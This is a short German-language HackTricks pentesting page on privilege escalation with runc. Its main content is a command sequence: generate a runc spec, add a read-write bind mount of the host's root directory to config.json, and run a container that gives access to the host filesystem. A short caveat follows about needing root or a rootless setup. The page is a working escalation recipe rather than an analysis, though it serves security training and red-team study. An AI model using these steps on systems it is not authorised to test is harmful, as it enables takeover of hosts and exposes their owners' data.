RunC Privilege Escalation

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Grundinformationen

Wenn du mehr über runc erfahren möchtest, besuche die folgende Seite:

2375, 2376 Pentesting Docker

PE

Wenn du feststellst, dass runc auf dem Host installiert ist, kannst du möglicherweise einen Container ausführen, der das Root-/Verzeichnis des Hosts einbindet.

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

Dies wird nicht immer funktionieren, da die Standardoperation von runc darin besteht, als root zu laufen, sodass das Ausführen als unprivilegierter Benutzer einfach nicht funktionieren kann (es sei denn, Sie haben eine rootlose Konfiguration). Eine rootlose Konfiguration zur Standardkonfiguration zu machen, ist im Allgemeinen keine gute Idee, da es einige Einschränkungen innerhalb rootloser Container gibt, die außerhalb rootloser Container nicht gelten.

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated